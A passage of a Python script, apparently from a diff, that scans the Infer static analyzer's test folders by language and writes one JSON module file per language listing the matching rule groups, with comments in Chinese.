Data\Static Analysis Tool\infer\Rule formation\modules" + +os.makedirs(output_dir, exist_ok=True) + +# 1. 获取 src 下一级文件夹名作为全部组名 +all_groups = {d for d in os.listdir(src_root_dir) + if os.path.isdir(os.path.join(src_root_dir, d))} +print(f"全部组名数量: {len(all_groups)}") + +# 2. 遍历 tests\codetoanalyze 下的一级文件夹(语言名) +for lang in os.listdir(tests_root_dir): + lang_path = os.path.join(tests_root_dir, lang) + if not os.path.isdir(lang_path): + continue # 跳过文件 + + # 3. 获取该语言下的直接子文件夹,与 all_groups 匹配 + lang_groups = sorted({ + d for d in os.listdir(lang_path) + if os.path.isdir(os.path.join(lang_path, d)) and d in all_groups + }) + + module_data = { + "artifactId": f"infer-{lang}", + "name": f"infer-{lang}", + "modelVersion": None, + "groups": lang_groups + } + + # 4. 保存为单独 JSON 文件 + output_path = os.path.join(output_dir, f"infer-{lang}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(module_data, f, indent=2, ensure_ascii=False) + + print(f"模块 {module_data['name']} 已保存到 {output_path}") + +print(f"共生成 {len(os.listdir(output_dir))} 个模块 JSON 文件,存放在 {output_dir}")